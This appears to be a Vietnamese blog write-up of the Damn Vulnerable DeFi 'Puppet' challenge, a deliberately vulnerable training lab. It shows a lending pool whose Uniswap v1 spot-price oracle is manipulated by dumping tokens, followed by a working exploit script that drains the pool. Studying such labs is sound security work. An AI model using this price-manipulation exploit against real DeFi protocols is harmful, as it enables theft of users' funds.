Skip to content

Damn Vulnerable Defi writeups: 08 - Puppet

Posted on:March 17, 2022

Challenge #8 - Puppet

Nhiệm vụ: Có một lending pool rất lớn cho vay DVT token, nhưng với điều kiện phải dùng ETH làm tài sản cầm cố với giá trị gấp đôi khoản vay. Trong pool hiện tại có 100000 DVT token. Cũng có một uniswap v1 pool nữa chứa 10ETH và 10DVT. Bắt đầu với 25ETH và 1000DVT, hãy tìm cách lấy tất cả token trong lending pool.

Phân tích

Đây là một challenge khá dễ và cơ bản.

Ta biết rằng nguyên lý hoạt động của Uniswap dựa trên công thức x*y = k, do đó nếu càng mua vào một token sẽ càng làm cho số lượng token đó giảm đi, và khiến giá token đó tăng lên ở trong pool; và ngược lại.

Hơn thế nữa trong lending pool lại lấy giá của token chính là giá trong pool.

function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

đây là một chỉ dẫn rất rõ ràng cho việc tiến hành thao túng giá token trong pool để có thể vay được nhiều token nhất có thể.

Ta có phương án khai thác như sau:

Exploit

Chuẩn bị script khai thác, lưu ý trong uniswap v1 hàm swap sẽ khác với v2.

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */

  await this.token
    .connect(attacker)
    .approve(this.uniswapExchange.address, ethers.constants.MaxUint256);
  await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(
    ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),
    1,
    (await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
    { gasLimit: 1e6 }
  );

  const collateral = await this.lendingPool.calculateDepositRequired(
    POOL_INITIAL_TOKEN_BALANCE
  );

  await this.lendingPool
    .connect(attacker)
    .borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
});

Check lại kết quả

  [Challenge] Puppet
Exploit (95ms)


  1 passing (2s)

All done!